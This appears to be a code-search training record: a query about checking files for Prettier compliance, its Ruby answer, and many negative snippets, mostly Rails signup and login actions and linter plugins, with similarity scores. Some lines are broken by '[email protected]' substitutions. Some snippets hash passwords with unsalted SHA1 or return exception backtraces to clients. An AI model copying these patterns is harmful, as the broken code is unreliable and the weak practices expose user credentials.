@user.errors, :status => :unprocessable_entity }\n end\n else #2 if - else: captcha right, go on \n if @user.save! #3 if -start \n @pic = Pic.new(:user_id => @user.id, :url => \"../images/default.gif\" )\n @pic.save!\n redirect_to :controller => 'sessions', :action => 'new'\n else #3 if - else: user is not saved in the db for some reason, explore why\n if User.find_by_email(@user.email) != nil \n flash.now[:error1]= \"*User email already exists.\"\n end\n if @user.name == nil or @user.email == nil or @user.password == nil or @user.password_confirmation == nil\n flash.now[:error2]= \"*Info not correct! Make sure you your filled up all the info.\"\n end\n if @user.password_confirmation != @user.password\n flash.now[:error3]= \"*Password and confirmation don't match.\"\n end\n if @user.check == 0\n flash.now[:error3]= \"*You need to agree to the Website's policies to register.\"\n end\n render'new' \n end #3 end\n end #2 end\n else #1 else\n flash.now[:error3]= \"*Please don't use names that could cause confusion :P sorry.\"\n render'new' \n end #1 end\n end", "def create_user\n\n security_code = SecureRandom.hex(4)\n user = User.new(name: params[:name], email: params[:email], password: security_code, password_confirmation: security_code)\n if user.valid?\n if user.save\n # Aplica lo logica necesaria\n #ApplicationMailer.registration_candidate(user, security_code).deliver# notifica el registro por correo\n @log.current_user = user\n @log.registration_auditory(controller_name + '/' + __method__.to_s, Constant::CONST_REGISTER_CANDIDATE, request.remote_ip)\n render json: {status: 200, payload: {message: Constant::CONST_CANDIDATE_REGISTRED, type: Constant::CONST_TYPE_FLASH_MESSAGE_SUCESS}}\n else\n # almacena el error y notifica al administrador del sistema\n #ApplicationMailer.registration_error(@log.registration_error(user.errors.full_messages, controller_name + '/' + __method__.to_s, Constant::CONST_INITIAL_PASSWORD, request.remote_ip)).deliver\n render json: {status: 500, payload: {message: Constant::CONST_INTERNAL_SERVER_ERROR, type: Constant::CONST_TYPE_FLASH_MESSAGE_ERROR}}\n end\n else\n render json: {status: 400, payload: {message: user.errors.full_messages.first.gsub(user.errors.full_messages.first.split[0]+' ','') , type: Constant::CONST_TYPE_FLASH_MESSAGE_ERROR}}\n end\n end", "def create\n # Wenn Formular abgeschickt\n if ! params[:user].nil?\n if params[:user][:password] == params[:user][:password2] \n # Wird gesetzt damit die Create-Forms verschwinden\n @inputs = true; \n # entferne Passwortwiederhohlung aus den Parametern um User zu erzeugen\n params[:user].delete(:password2) \n # Erster Benutzer muss Admin sein\n if User.find(:all).length == 0\n params[:user][:access]=\"admin\"\n else\n params[:user][:access]=\"leecher\"\n end\n @newuser = User.new(params[:user])\n # @created wird gesetzt zur erstellungsmessage, da komischerweise ein\n # zugriff auf @newuser.valid? nicht fruchtet\n if @newuser.valid?\n @created=true\n # Wenn user Admin ist,(erste anmeldung) setze die Variable un erstelle ein basis genre\n if params[:user][:access]==\"admin\"\n @admin = true\n Genre.create(:name => \"unknown\")\n end\n end\n @newuser.save\n else \n # Wenn diese Variable nil ist, sind beide Passwörter nicht gleich\n @bothpw=true\n end \n end\n respond_to do |format|\n format.html \n format.xml \n end\n end", "def create\n\t\t@path = [link_to_signup]\n\t\t@subnavigation = []\n\n cookies.delete :auth_token\n # protects against session fixation attacks, wreaks havoc with \n # request forgery protection.\n # uncomment at your own risk\n # reset_session\n\n @user = User.new(params[:user])\n\t\n\t\t# for the user details\n\t\t@user_detail = UserDetail.new(params[:user_detail])\n\t\t\n\t\[email protected]_detail = @user_detail\n\t\t\n\t\t# what will be the login name be\n\t\tif params[:last_name_check] == \"1\"\n\t\t\[email protected] = @user_detail.last_name\n\t\telse\n\t\t\[email protected] = @user_detail.first_name + \" \" + @user_detail.last_name\n\t\tend\n\n\n\t\tvalid1 = @user.valid?\n\t\tvalid2 = @user_detail.valid?\n\n\t\tif valid1 && valid2\n\t\t\[email protected]!\n\t\n\t\t\t@user_detail.save!\n\t\t\n self.current_user = @user\n redirect_back_or_default('/')\n flash[:notice] = \"Thanks for signing up!\"\n else\n render :action => 'new'\n end\n end", "def create\n # Is email blank?\n if (params[:email].blank?) \n render :new\n flash[:notice] = \"You must enter an email address\"\n else\n \n if (params[:password].blank?) \n render :new\n flash[:notice] = \"What's your password?\"\n else\n # If no, does user exist?\n \n if @user = User.find_by(email: params[:email])\n \n if @user.authenticate(params[:email], params[:password])\n # If authenticated, log in and redirect to /\n puts \"Redirecting to root url\"\n session[:user_id] = @user.id\n\n if @user.role == 'admin' \n redirect_to dashboard_path\n else\n redirect_to user_orders_path(@user.id)\n end\n else\n # If auth fails, render login page with error\n render :new\n flash.now[:error] = \"Password is incorrect\"\n \n end\n end\n end\n end \n end", "def create\n @user = User.where(:email => params[:user][:email]).first\n\n if [email protected]?\n \trender :json => {:success => false, :message => \"User already registered\"}, :status => 401\n else\n \tbegin\n\t\t @user = User.new(params[:user])\n @user.password = Devise.friendly_token[0,20]\n\t\t if @user.save\n\t\t @api_key = ApiKey.find_or_create_token_for(@user)\n\t\t render :json => {:success => true, :message => \"Registration successful\",:access_key => @api_key.access_token, :user => @user}, :status => 200\n\t\t else\n\t\t \trender :json => {:success => false, :message => \"Error while creating user\"}, :status => :not_acceptable\n\t\t end\n\t\t rescue Exception => e\n p e\n\t \tp e.backtrace\n\t render :json => {:success => false, :message => e.backtrace}, :status => :not_acceptable\n\t end\n\t end\n end", "def create(email = params[:my_email], senha = params[:my_password])\n \n session[:token]= expa_authentication(email,senha) \n if session[:token]== nil\n flash[:warning] = \"E-mail ou senha inválida\"\n return redirect_to \"/authentication/login\" \n else\n #session[:token] = cj.jar['experience.aiesec.org']['/'][\"expa_token\"].value[44,64] #Take the token code for API. First version\n #request the expa's current user data\n @request = \"https://gis-api.aiesec.org:443/v1/current_person.json?access_token=#{session[:token]}\"\n resp = Net::HTTP.get_response(URI.parse(@request))\n data = resp.body\n @current_person = JSON.parse(data)\n #Check if the member is affiliated to AIESEC Brazil\n if @current_person['person']['home_mc']['id'] != 1606\n flash[:warning] = \"BAZICON is only available for AIESEC in Brazil members\"\n return redirect_to \"/authentication/login\"\n end\n #Find the user on system\n @user = User.find_by_email(params[:my_email])\n\n #create sessions if the user exist, else create a user automaticaly \n if @user\n reset_session\n session[:user_id] = @user.id\n @user.local_commitment = @current_person['person']['home_lc']['id']\n User.cache_photo(session[:user_id])\n redirect_to authentication_welcome_path\n #@user.photo_url = @current_person[\"person\"][\"profile_photo_url\"]\n else\n @user = User.new(:name => @current_person['person']['full_name'], :email => email )\n @user.photo_url = @current_person['person'][\"profile_photo_url\"]\n @user.postion = @current_person['current_position']['team']['team_type']\n @user.local_commitment = @current_person['person']['home_lc']['id']\n @user.save\n @user_name = @user.name\n session[:user_id] = @user.id\n User.cache_photo(session[:user_id])\n redirect_to authentication_welcome_path\n end\n end\n end", "def create\n #binding.pry \n user = User.find_by(name: params[:user][:name])\n if user.try(:authenticate, params[:user][:password])\n session[:user_id] = user.id \n @user = user\n else \n redirect_to(controller: 'sessions', action: 'new')\n end\n end", "def create\n\n if current_user && current_user.role == \"admin\"\n @user = User.new(new_user_params)\n\n if @user.save\n @interests = []\n @matched_clubs = 0;\n @rejected_clubs = 0;\n render :show\n else\n flash[:alert] = \"User with email #{params[:email]} already exists!\"\n redirect_to users_new_url\n end\n else\n redirect_to new_user_session_path\n end\n\n end", "def create\n fname = \"#{self.class.name}.#{__method__}\"\n super\n user=User.find_by_email(reg_params[:email])\n pars={}\n unless user.nil?\n pars[:name]=params[:user][:name]\n pars[:role]=params[:user][:role]\n user.update(pars) \n else\n user=User.new(params[:user])\n end\n LOG.debug(fname) {\"************************ current_user=#{user.inspect}\"}\n end", "def sign_up\n user = User.new(user_params); user.id = SecureRandom.uuid # genrating secure uuid token\n if params[:role].present? && params[:role] == \"Coach\"\n set_type_n_category\n if @category.present? && @type.present?\n user.category_id = @category.id\n user.leason_type_id = @type.id\n end\n end\n if user.save\n image_url = \"\"\n image_url = url_for(user.profile_photo) if user.profile_photo.attached?\n if user.role == \"Coach\"\n render json: { user_id: user.id, email: user.email, name: user.name, phone: user.phone , video_calling_id: user.video_calling_id, profile_photo: image_url, city: user.city, about: user.about, background: user.background, category: user.category, type: user.leason_type, \"UUID\" => user.id, \"Authentication\" => user.authentication_token }, status: 200\n else\n render json: { user_id: user.id, email: user.email, name: user.name, phone: user.phone , video_calling_id: user.video_calling_id, profile_photo: image_url, city: user.city, \"UUID\" => user.id, \"Authentication\" => user.authentication_token }, status: 200\n end\n else\n render json: user.errors.messages, status: 400\n end\n rescue StandardError => e # rescue if any exception occurr\n render json: { message: \"Error: Something went wrong... #{e}\" }, status: 400\n end", "def create\n @advisor_user = AdvisorUser.new(advisor_user_params)\n\n # generate their paycode if they are paying for students\n @advisor_user.pay_code = genPayCode(@advisor_user.id)\n\n @advisor_user.usertype=\"advisor\"\n\n respond_to do |format|\n if @advisor_user.save\n session[:register]=@advisor_user.id\n format.html { redirect_to @advisor_user, notice: 'Advisor user was successfully created.' }\n format.json { render :show, status: :created, location: @advisor_user }\n else\n format.html { render :new }\n format.json { render json: @advisor_user.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @user = User.new(user_params)\n # 验证 图片码\n if verify_rucaptcha?(@user) && @user.save\n respond_to do |format|\n format.html { redirect_to @user, notice: 'User was successfully created.' }\n format.json { render :show, status: :created, location: @user }\n end\n else\n respond_to do |format|\n format.html { render :new }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end", "def register\n\t\tif User.where(username: user_params[:username]).present?\n\t\t\trender json: { status: 'error', code: 400, data: @user,\n message: 'User already exists'} \n\t\telse\n\t\t\t@user = User.new(user_params)\n\t\t\tpassword = Digest::SHA1.hexdigest(params[:user][:password])\n\t\t\[email protected]_password = password\n\t\t\[email protected]\n\t\t\trender json: { status: 'success', code: 200, data: @user,\n message: 'User registered successfully'} \n\t\tend\n\tend", "def create\n\n #Make sure only logged in admins can manipulate users\n\n if @loggedinuser && @loggedinuser.authorizationlevel >= 4\n\n @user = User.new(params[:user])\n if @user.save\n redirect_to :action => 'index'\n else\n render 'new'\n end\n #Make sure only non-logged in users can register\n elsif ! @loggedinuser\n #Register a new user from data provided by the form. If the save fails for\n #some reason, redirect back to the form so that errors can be corrected and tried again.\n @user = User.new(params[:user])\n\[email protected]=1\n if @user.save\n redirect_to '/welcome/login'\n else\n render 'register'\n end\n else \n redirect_to '/'\n end\n end", "def create\n \t@user = User.new(user_params) \n \tif @user.save\n \t\t log_in @user\n flash[:success] = \"Prof-Folio welcomes you onboard!\"\n redirect_back_or\n #redirect_to @user\n \telse\n \t\trender 'new'\n \tend\n end" ]
[ "0.7465248", "0.72754776", "0.72232455", "0.722255", "0.72185504", "0.72101617", "0.7157568", "0.71543765", "0.7148023", "0.71327424", "0.71242887", "0.70432186", "0.70357424", "0.7023778", "0.6994198", "0.6982247", "0.69782555", "0.6976764", "0.694743", "0.6927086", "0.69054615", "0.68948936", "0.6864962", "0.6850946", "0.68357694", "0.68341935", "0.68330485", "0.683232", "0.68133616", "0.6804098", "0.6801468", "0.679913", "0.67958957", "0.67931396", "0.67906743", "0.67854905", "0.67807096", "0.6766376", "0.67585474", "0.6758484", "0.67512584", "0.6746607", "0.6746226", "0.67461485", "0.67398345", "0.6739663", "0.6738922", "0.67282116", "0.67218494", "0.6720183", "0.6716139", "0.671543", "0.670972", "0.6696102", "0.66927874", "0.6663403", "0.6658952", "0.66411555", "0.66406876", "0.6630448", "0.66285914", "0.6625477", "0.66233945", "0.6622201", "0.6621592", "0.66162354", "0.6611676", "0.6602868", "0.65990674", "0.6586647", "0.65847844", "0.65796995", "0.6571348", "0.65513533", "0.6549791", "0.6543441", "0.6539845", "0.65394604", "0.65387654", "0.65381795", "0.65264183", "0.65187025", "0.6508577", "0.6505226", "0.65046155", "0.6497091", "0.64954895", "0.64922184", "0.6490999", "0.64901906", "0.6479006", "0.6477956", "0.6474523", "0.6460526", "0.64522564", "0.64508647", "0.6449249", "0.6448778", "0.6448247", "0.6446572" ]
0.9730793
0
Checks javascript files for Prettier compliance. Generates `errors` based on file differences from prettier.
def check check_results .reject { |r| r.length.zero? } .map { |r| send_comment r } end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def lint\n javascript_files.each do |file|\n file_content = get_file_content_as_json(file)\n code = %(\n JSHINT(#{file_content}, #{jshint_options}, #{jshint_globals});\n return JSHINT.errors;\n )\n errors[file] = context.exec(code)\n end\n end", "def lint\n ProgressBar.progress_loop(javascript_files.length) do |bar, total|\n javascript_files.each.with_index do |file, index|\n bar.print(index + 1, total)\n\n errors[file] = system \"#{jshint_path} #{file}\"\n end\n end\n end", "def check_results\n bin = prettier_path\n raise \"prettier is not installed\" unless bin\n return run_check(bin, \".\") unless filtering\n ((git.modified_files - git.deleted_files) + git.added_files)\n .select { |f| f[matching_file_regex] }\n .map { |f| f.gsub(\"#{Dir.pwd}/\", \"\") }\n .map { |f| run_check(bin, f) }\n end", "def lint_files(files = nil)\n # Installs a prose checker if needed\n system 'pip install --user proselint' unless proselint_installed?\n\n # Check that this is in the user's PATH after installing\n raise \"proselint is not in the user's PATH, or it failed to install\" unless proselint_installed?\n\n # Either use files provided, or use the modified + added\n markdown_files = get_files files\n\n proses = {}\n to_disable = disable_linters || [\"misc.scare_quotes\", \"typography.symbols\"]\n with_proselint_disabled(to_disable) do\n # Convert paths to proselint results\n result_jsons = Hash[markdown_files.to_a.uniq.collect { |v| [v, get_proselint_json(v)] }]\n proses = result_jsons.select { |_, prose| prose['data']['errors'].count > 0 }\n end\n\n # Get some metadata about the local setup\n current_slug = env.ci_source.repo_slug\n\n # We got some error reports back from proselint\n if proses.count > 0\n message = \"### Proselint found issues\\n\\n\"\n proses.each do |path, prose|\n git_loc = \"\"\n if defined? @dangerfile.github\n git_loc = \"/#{current_slug}/tree/#{github.branch_for_head}/#{path}\"\n elsif defined? @dangerfile.gitlab\n git_loc = \"/#{current_slug}/tree/#{gitlab.branch_for_head}/#{path}\"\n else\n raise \"This plugin does not yet support bitbucket, would love PRs: https://github.com/dbgrandi/danger-prose/\"\n end\n\n message << \"#### [#{path}](#{git_loc})\\n\\n\"\n\n message << \"Line | Message | Severity |\\n\"\n message << \"| --- | ----- | ----- |\\n\"\n\n prose['data']['errors'].each do |error|\n message << \"#{error['line']} | #{error['message']} | #{error['severity']}\\n\"\n end\n end\n\n markdown message\n end\n end", "def check(config = {})\n defaults = {validator: 'clang-format', file_extensions: ['.h', '.m', '.mm'], ignore_file_patterns: []}\n config = defaults.merge(config)\n validator = *config[:validator]\n file_extensions = [*config[:file_extensions]]\n ignore_file_patterns = [*config[:ignore_file_patterns]]\n\n diff = git.added_files.concat git.modified_files\n offending_files, patches = resolve_changes(validator, diff)\n\n message = ''\n unless offending_files.empty?\n message = 'Code style violations detected in the following files:' + \"\\n\"\n offending_files.each do |file_name|\n message += '* `' + file_name + \"`\\n\\n\"\n end\n message += 'Execute one of the following actions and commit again:' + \"\\n\"\n message += '1. Run `%s` on the offending files' % validator + \"\\n\"\n message += '2. Apply the suggested patches with `git apply patch`.' + \"\\n\\n\"\n message += patches.join(\"\\n\")\n end\n\n return if message.empty?\n fail VIOLATION_ERROR_MESSAGE\n markdown '### Code Style Check'\n markdown '---'\n markdown message\n end", "def check(config = {})\n defaults = {validator: 'clang-format', file_extensions: ['.h', '.m', '.mm'], ignore_file_patterns: []}\n config = defaults.merge(config)\n validator = *config[:validator]\n file_extensions = [*config[:file_extensions]]\n ignore_file_patterns = [*config[:ignore_file_patterns]]\n\n diff = ''\n case danger.scm_provider\n when :github\n diff = github.pr_diff\n when :gitlab\n diff = gitlab.mr_diff\n when :bitbucket_server\n diff = bitbucket_server.pr_diff\n else\n raise 'Unknown SCM Provider'\n end\n\n changes = get_changes(diff, file_extensions, ignore_file_patterns)\n offending_files, patches = resolve_changes(validator, changes)\n\n message = ''\n unless offending_files.empty?\n message = 'Code style violations detected in the following files:' + \"\\n\"\n offending_files.each do |file_name|\n message += '* `' + file_name + \"`\\n\\n\"\n end\n message += 'Execute one of the following actions and commit again:' + \"\\n\"\n message += '1. Run `%s` on the offending files' % validator + \"\\n\"\n message += '2. Apply the suggested patches with `git apply patch`.' + \"\\n\\n\"\n message += patches.join(\"\\n\")\n end\n\n return if message.empty?\n fail VIOLATION_ERROR_MESSAGE\n markdown '### Code Style Check'\n markdown '---'\n markdown message\n end", "def common_swiftlint_check\n\n swiftlint.config_file = '.swiftlint.yml'\n swiftlint.lint_files inline_mode: true\n\nend", "def run_scripts(committed_files)\n # keep this STDIN.reopen line to allow for reading user input\n STDIN.reopen(\"/dev/tty\")\n # for each of the files in the committed_files array, call the different style checks\n committed_files.each { |file_name|\n # you can specify which code style checks you want to enforce through this hook\n # you would add/remove any rules here. For example: new_style_rule(file_name)\n debugger_check(file_name)\n whitespace_check(file_name)\n newline_check(file_name)\n }\n # we want to keep this check_for_file_edits method to see if any files were modified as a result of running these hook\n check_for_file_edits(committed_files)\nend", "def lint_results\n bin = eslint_path\n raise 'eslint is not installed' unless bin\n return run_lint(bin, '.') unless filtering\n ((git.modified_files - git.deleted_files - git.renamed_files.map { |r| r[:before] }) + git.added_files + git.renamed_files.map { |r| r[:after] })\n .select { |f| target_extensions.include?(File.extname(f)) }\n .map { |f| f.gsub(\"#{Dir.pwd}/\", '') }\n .map { |f| run_lint(bin, f).first }\n end", "def copy_js_linter_config_files\n base_path = \"js_linters/\"\n %w(client/.eslintrc\n client/.eslintignore\n client/.jscsrc).each { |file| copy_file(base_path + file, file) }\n end", "def check_merge\n\tres = ''\n\tfiles = Dir.glob(\"**/*.rb\") + Dir.glob(\"**/*.yml\") + Dir.glob(\"**/*.feature\")\n\tfiles.each do |file|\n\t\tnb = 0\n\t\tif !file.include? 'convention.rb'\n\t\t\terrors = %w(<<<<< >>>>> ===== binding\\.pry $\\tAnd)\n\t\t\terrors.each do |reg|\n\t\t\t\tnb += File.readlines(file).grep(reg).size\n\t\t\tend\n\t\tend\n\t\tif nb > 0\n\t\t\tres += \"#{file}, \"\n\t\t\t$errors = true\n\t\tend\n\tend\n\n\tif res != ''\n\t\tputs \"Some file seems to be incorrect, with error like <<<<, >>>>, ====, binding.pry...\"\n\t\tputs res\n\tend\nend", "def validate_podspec_files\n UI.puts \"\\nValidating #{'spec'.pluralize(count)}\".yellow\n podspec_files.each do |podspec|\n validator = Validator.new(podspec, @source_urls)\n validator.allow_warnings = @allow_warnings\n validator.use_frameworks = @use_frameworks\n validator.use_modular_headers = @use_modular_headers\n validator.ignore_public_only_results = @private\n validator.swift_version = @swift_version\n validator.skip_import_validation = @skip_import_validation\n validator.skip_tests = @skip_tests\n validator.validation_dir = @validation_dir\n begin\n validator.validate\n rescue => e\n raise Informative, \"The `#{podspec}` specification does not validate.\" \\\n \"\\n\\n#{e.message}\"\n end\n raise Informative, \"The `#{podspec}` specification does not validate.\" unless validator.validated?\n end\n end", "def jsHint ( file )\n puts \"JSHinting #{file}\"\n errors = Jshintrb.lint( File.read(file) )\n if errors.length > 0\n puts\n errors.map do |err|\n puts (\" line %d, column %d: %s\\n\" +\n \" %s\\n\" +\n \" %s^\\n\") % [\n err['line'], err['character'], err['reason'],\n err['evidence'],\n \"~\" * (err['character'] - 1)\n ]\n end\n fail \"JSHint failed\"\n end\n\n File.read(file)\n end", "def lint!\n all_valid = true\n @files.each do |file|\n file = file.realpath\n file_spec = Specification.from_file(file)\n\n specs = file_spec.recursive_subspecs.any? ? file_spec.recursive_subspecs : [file_spec]\n specs.each do |spec|\n # Show immediatly which pod is being processed.\n # This line will be overwritten once the result is known\n print \" -> #{spec}\\r\" unless config.silent? || @is_repo\n $stdout.flush\n\n # If the spec doesn't validate it raises and informative\n spec.validate!\n\n warnings = warnings_for_spec(spec, file)\n deprecations = deprecation_notices_for_spec(spec, file)\n build_messages, file_patterns_errors = [], []\n unless @is_repo || @quick\n platform_names(spec).each do |platform_name|\n set_up_lint_environment\n build_messages += build_errors_for_spec(spec, file, platform_name)\n file_patterns_errors += file_patterns_errors_for_spec(spec, file, platform_name)\n tear_down_lint_environment\n end\n end\n build_errors = build_messages.select {|msg| msg.include?('error')}\n build_warnings = build_messages - build_errors\n\n # Errors compromise the functionality of a spec, warnings can be ignored\n all = warnings + deprecations + build_messages + file_patterns_errors\n errors = file_patterns_errors + build_errors\n warnings = all - errors\n\n if @only_errors\n all_valid = false unless errors.empty?\n else\n # avoid to fail validation for xcode warnings\n all_valid = false unless (all - build_warnings).empty?\n end\n\n clean_duplicate_platfrom_messages(errors)\n clean_duplicate_platfrom_messages(warnings)\n\n # This overwrites the previously printed text\n unless config.silent?\n if errors.empty? && warnings.empty?\n puts \" -> \".green + \"#{spec} passed validation\" unless @is_repo\n elsif errors.empty?\n puts \" -> \".yellow + spec.to_s\n else\n puts \" -> \".red + spec.to_s\n end\n end\n\n warnings.each {|msg| puts \" - WARN | #{msg}\"} unless config.silent?\n errors.each {|msg| puts \" - ERROR | #{msg}\"} unless config.silent?\n puts unless config.silent? || ( @is_repo && all.flatten.empty? )\n end\n end\n all_valid\n end", "def check_ruby\n\tcommand = \"rubocop -c rubocop.yml . -D -o pre-commit-rubocop.txt\"\n\tsystem(command)\n\tfile = \"pre-commit-rubocop.txt\"\n\tlines = File.open(file).to_a\n\tresult = lines.last\n\t/, (?<nb_error>[^ ]*) offense/ =~ result\n\tif nb_error.to_i > 0\n\t\tputs \"Error ruby convention\"\n\t\tputs lines\n\t\t$errors = true\n\tend\n\tFile.delete(file)\nend", "def run_swiftlint(files, options)\n files\n .map { |file| options.merge({path: file})}\n .map { |full_options| Swiftlint.lint(full_options)}\n .reject { |s| s == '' }\n .map { |s| JSON.parse(s).flatten }\n .flatten\n end", "def error_check(paths)\r\n e = check_files(paths)\r\n Message::Error.no_files(e) unless e.empty? && file_order.any?\r\n\r\n file_order.map! { |f| File.absolute_path(f) }\r\n\r\n e = check_extnames\r\n self.ext ||= \"\"\r\n Message::Warning.ext_warn(e, ext) unless e.empty?\r\n end", "def validate\n java_path = `which java`.rstrip\n raise \"You do not have a Java installed, but it is required.\" if java_path.blank?\n \n output_header\n \n Dir.new(Compass::Constants::BLUEPRINT_ROOT_PATH).each do |file_name|\n puts \"#{file_name}\"\n if file_name =~ /\\.css$/\n css_file = File.join(Compass::Constants::BLUEPRINT_ROOT_PATH, file_name)\n @error_count += 1 if !validate_css_file(java_path, css_file)\n end\n end\n \n output_footer\n end", "def rubocop\n return if changed_ruby_files.empty?\n\n output = `rubocop --color --display-cop-names --extra-details --display-style-guide #{changed_files.join(' ')}`\n return if $CHILD_STATUS.success?\n\n heading('Rubocop', output)\n end", "def lint\n return if target_files.empty?\n\n bin = textlint_path\n result_json = run_textlint(bin, target_files)\n errors = parse(result_json)\n send_comment(errors)\n end", "def check(file)\n rhino_jar = rhino\n js_file = locate_lib\n\n raise FileNotFoundError.new(\"Unable to locate Rhino jar '#{rhino_jar}'\") if !rhino_jar || !File.exists?(rhino_jar)\n raise FileNotFoundError.new(\"Unable to locate JsLint '#{js_file}'\") if !js_file || !File.exists?(js_file)\n raise FileNotFoundError.new(\"Unable to locate input file '#{file}'\") unless File.exists?(file)\n\n lines = execute(\"-jar\", rhino, locate_lib, file).split(\"\\n\")\n return Report.new if lines.length == 1 && lines[0] =~ /jslint: No problems/\n\n report = Report.new\n lines = lines.reject { |line| !line || \"#{line}\".strip == \"\" }\n report.add_error(lines.shift, lines.shift) while lines.length > 0\n\n return report\n end", "def validate\n @files.each {|fn| check_file fn}\n end", "def lint_files(files=nil, inline_mode: false)\n # Fails if swiftlint isn't installed\n raise \"swiftlint is not installed\" unless Swiftlint.is_installed?\n\n # Extract excluded paths\n excluded_paths = excluded_files_from_config(config_file)\n\n # Extract swift files (ignoring excluded ones)\n files = find_swift_files(files, excluded_paths)\n\n # Prepare swiftlint options\n options = {\n config: config_file,\n reporter: 'json',\n quiet: true,\n pwd: directory || Dir.pwd\n }\n\n # Lint each file and collect the results\n issues = run_swiftlint(files, options)\n\n # Filter warnings and errors\n warnings = issues.select { |issue| issue['severity'] == 'Warning' }\n errors = issues.select { |issue| issue['severity'] == 'Error' }\n\n if inline_mode\n # Reprt with inline comment\n send_inline_comment(warnings, \"warn\")\n send_inline_comment(errors, \"fail\")\n else\n # Report if any warning or error\n if warnings.count > 0 || errors.count > 0\n message = \"### SwiftLint found issues\\n\\n\"\n message << markdown_issues(warnings, 'Warnings') unless warnings.empty?\n message << markdown_issues(errors, 'Errors') unless errors.empty?\n markdown message\n end\n end\n end", "def compare_errs(file1, file2)\n pattern = /^(No warnings or errors were found\\.)|(\\d warnings?, \\d errors? were found!)/\n content1 = nil\n content2 = nil\n\n gnu_emacs = config_matches?('gnu-emacs', 'yes')\n emacs_pattern = /^.*(#{File.basename(self.source_file)}:.*)/i\n\n if File.exists?(file1)\n tmp = File.open(file1) { |f| f.readlines }\n content1 = tmp.take_while { |line| line !~ pattern }\n content1 << tmp[content1.count] unless tmp[content1.count].nil?\n if gnu_emacs\n content1.map! do |line|\n line.match(emacs_pattern) { |m| m[1] }\n end\n end\n end\n\n if File.exists?(file2)\n tmp = File.open(file2) { |f| f.readlines }\n content2 = tmp.take_while { |line| line !~ pattern }\n content2 << tmp[content2.count] unless tmp[content2.count].nil?\n if gnu_emacs\n content2.map! do |line|\n line.match(emacs_pattern) { |m| m[1] }\n end\n end\n end\n\n content1 == content2\n end", "def lint\n []\n end", "def _lint()\n Dir.chdir(File.dirname(__FILE__)) do\n puts \"Running...\"\n ret = `python run_jslint.py` # run linter\n if $?.exitstatus != 0\n puts ret # Print output since we failed\n puts \"------ JS Lint Failed -------\"\n else\n puts \"-------------\\nJS Lint Passed\" # since jslint is silent on success print a warm fuzzy\n end\n end\nend", "def prettier_path\n local = executable_path ? executable_path : \"./node_modules/.bin/prettier\"\n File.exist?(local) ? local : \"prettier\"\n end", "def lint\n return if target_files.empty?\n\n result = run_htmllint(htmllint_bin_path, target_files)\n send_comment(parse(result))\n end", "def send_comment(results)\n dir = \"#{Dir.pwd}/\"\n results.each do |r|\n filename = results[\"filePath\"].gsub(dir, \"\")\n fail(\"File not formatted with Prettier\", file: filename, line: 0)\n end\n end", "def validation_errors\n errors = []\n ErrorCompiler.with_errors(errors) do |e|\n check_schools_consistency_in_each_round(e)\n check_legitimate_progress_through_rounds(e)\n check_wildcards(e)\n end\n errors\n end", "def fix_imports\n reload_config\n eslint_result = run_eslint_command\n\n return if eslint_result.empty?\n\n unused_variables = {}\n undefined_variables = Set.new\n\n eslint_result.each do |line|\n match = REGEX_ESLINT_RESULT.match(line)\n next unless match\n if match[:type] == 'is defined but never used'\n unused_variables[match[:variable_name]] ||= Set.new\n unused_variables[match[:variable_name]].add match[:line].to_i\n else\n undefined_variables.add match[:variable_name]\n end\n end\n\n return if unused_variables.empty? && undefined_variables.empty?\n\n old_imports = find_current_imports\n\n # Filter out unused variables that do not appear within the imports block.\n unused_variables.select! do |_, line_numbers|\n any_numbers_within_range?(line_numbers, old_imports[:range])\n end\n\n new_imports = old_imports[:imports].clone\n new_imports.delete_variables!(unused_variables.keys)\n\n undefined_variables.each do |variable|\n js_module = find_one_js_module(variable)\n next unless js_module\n new_imports << js_module.to_import_statement(variable, @config)\n end\n\n replace_imports(old_imports[:range], new_imports)\n end", "def linters_for_file(path)\n @enabled_linter_classes.map do |linter_class|\n linter_conf = @config.for_linter(linter_class)\n next unless run_linter_on_file?(linter_conf, path)\n\n linter_class.new(linter_conf)\n end.compact\n end", "def validate\n ensure_exclude_option_array_exists\n ensure_linter_section_exists\n ensure_linter_include_exclude_arrays_exist\n end", "def file_patterns_errors\n messages = []\n messages << \"The sources did not match any file\" if [email protected]_files.empty? && @pod.source_files.empty?\n messages << \"The resources did not match any file\" if [email protected]? && @pod.resource_files.empty?\n messages << \"The preserve_paths did not match any file\" if [email protected]_paths.empty? && @pod.preserve_files.empty?\n messages << \"The exclude_header_search_paths did not match any file\" if [email protected]_header_search_paths.empty? && @pod.headers_excluded_from_search_paths.empty?\n messages\n end", "def load_translations_and_collect_file_errors(files); end", "def check_file_patterns\n FILE_PATTERNS.each do |attr_name|\n if respond_to?(\"_validate_#{attr_name}\", true)\n send(\"_validate_#{attr_name}\")\n else\n validate_nonempty_patterns(attr_name, :error)\n end\n end\n\n _validate_header_mappings_dir\n if consumer.spec.root?\n _validate_license\n _validate_module_map\n end\n end", "def check_file(file_result)\n # A clean compile will emit silence to STDERR and STDOUT, and leave behind a pyc file.\n output = `#{python_bin} -m py_compile #{file_result.path} 2>&1`\n\n # Errors look like this, with no newline (so far:\n # Sorry: IndentationError: unexpected indent (bad-indentation.py, line 4)\n output.scan(/Sorry:\\s+(.+):\\s+(.+)\\s+\\((.+),\\s+line\\s+(\\d+)\\)/).each do |match|\n file_result.add_issue(\n line_number: match[3],\n level: :error,\n raw_message: match[1],\n )\n end\n\n # Check for and delete a PYC file if one was created.\n pyc_file = file_result.path + 'c'\n if File.exist?(pyc_file) then\n FileUtils.rm(pyc_file)\n end\n end", "def lint(files = nil, inline_mode: false, fail_on_error: false)\n # Fails if ktlint isn't installed\n raise \"Couldn't find ktlint command. Install first.\" unless ktlint.installed?\n\n log \"Using additional ruleset file: #{ruleset_file}\" if ruleset_file\n\n dir_selected = directory ? File.expand_path(directory) : Dir.pwd\n log \"ktlint will be run from #{dir_selected}\"\n\n # Prepare ktlint options\n options = {\n # Make sure we don't fail when ruleset path has spaces\n ruleset: ruleset_file ? Shellwords.escape(ruleset_file) : nil,\n reporter: \"json\",\n pwd: dir_selected,\n android: android_style,\n limit: limit\n }\n log \"linting with options: #{options}\"\n\n if lint_all_files\n issues = run_ktlint(options)\n else\n # Extract Kotlin files (ignoring excluded ones)\n files = find_kotlin_files(dir_selected, files)\n log \"ktlint will lint the following files: #{files.join(', ')}\"\n\n # Lint each file and collect the results\n issues = run_ktlint_for_each(files, options)\n 